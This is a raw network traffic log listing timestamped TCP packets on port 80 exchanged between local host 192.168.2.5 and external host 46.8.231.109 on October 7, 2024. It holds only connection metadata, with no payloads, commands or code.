Oct 7, 2024 17:22:04.419718981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419728994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419749975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419759035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.419761896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419773102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419774055 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.419785976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419791937 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.419796944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.419819117 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.419847012 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.420315981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420353889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420365095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.420366049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420392990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.420435905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420442104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420448065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420453072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420459986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420783043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420814037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420825958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420897007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.420907974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420921087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420929909 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.420932055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420943975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420945883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.420955896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.420974016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.420999050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421003103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.421010017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421019077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421030045 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421047926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421053886 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.421061039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421072006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421088934 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.421107054 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.421143055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421155930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421169996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421175957 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.421181917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421192884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421195984 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.421205997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.421228886 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.421246052 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425482988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425506115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425518990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425539970 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425568104 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425600052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425611973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425622940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425635099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425637960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425647020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425657034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425661087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425692081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425708055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425721884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425735950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425743103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425750017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425775051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425801992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425801992 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425815105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425827026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425843000 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425853968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425859928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425867081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425880909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425899029 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425920010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425928116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425951004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425954103 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.425961018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.425983906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426003933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426011086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426022053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426040888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426044941 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426050901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426059961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426060915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426073074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426079988 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426101923 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426121950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426168919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426181078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426192999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426217079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426229954 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426249981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426260948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426270962 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426281929 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426287889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426295996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426314116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426317930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426326036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426337004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426342010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426348925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426377058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426414967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426424980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426434994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426451921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426461935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426469088 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426492929 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426518917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426577091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426588058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426598072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426609039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.426610947 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426630020 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.426661968 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.500720024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.500777006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.500794888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.500806093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.500817060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.500828028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.500838995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.500840902 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.500883102 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501250982 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501288891 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501302004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501312971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501322985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501334906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501354933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501368046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501379967 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501400948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501401901 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501425982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501442909 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501487970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501497984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501509905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501519918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501519918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501534939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501540899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501545906 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501564026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501590014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501591921 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501600981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501626015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501672983 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501683950 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501693964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501703024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501709938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501713991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501738071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501764059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501764059 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501775026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501786947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.501797915 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501816034 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.501990080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502038956 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502048016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502054930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.502068996 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.502085924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.502118111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502129078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502140999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502149105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.502151966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502165079 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.502182007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.502494097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502532959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.502605915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502616882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502626896 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502644062 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.502662897 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.502670050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502681017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502695084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.502711058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.502726078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503304958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503349066 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503376007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503397942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503411055 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503431082 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503539085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503549099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503559113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503571033 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503572941 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503587961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503606081 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503618002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503653049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503721952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503731966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503757954 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503773928 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503844976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503854990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503864050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503875017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503880024 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503891945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503911972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503926992 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503931046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.503966093 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.503997087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.504008055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.504033089 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.504045963 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.605756998 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.610630989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779105902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779158115 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779169083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779217958 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779221058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779221058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779230118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779241085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779262066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779274940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779284954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779285908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779285908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779341936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779377937 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779377937 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779395103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779406071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779438019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779448032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779448032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779448986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779460907 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779473066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779489994 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779489994 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779524088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779536009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779558897 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779558897 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779611111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779623032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779633999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779644012 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779648066 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779648066 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779655933 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779666901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779679060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779692888 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779692888 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779717922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779728889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779740095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779752970 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779752970 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779757977 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779805899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779805899 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779809952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779822111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779834032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779843092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779864073 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779864073 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779951096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779962063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779973030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779984951 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779994965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.779995918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.779995918 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780005932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780018091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780028105 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780045986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780050993 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780050993 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780056953 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780070066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780081034 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780097961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780097961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780150890 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780164003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780175924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780186892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780198097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780210018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780241966 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780241966 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780284882 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780303955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780314922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780332088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780343056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780353069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780364037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780374050 CEST	49704	80	192.168.2.5	46.8.231.109
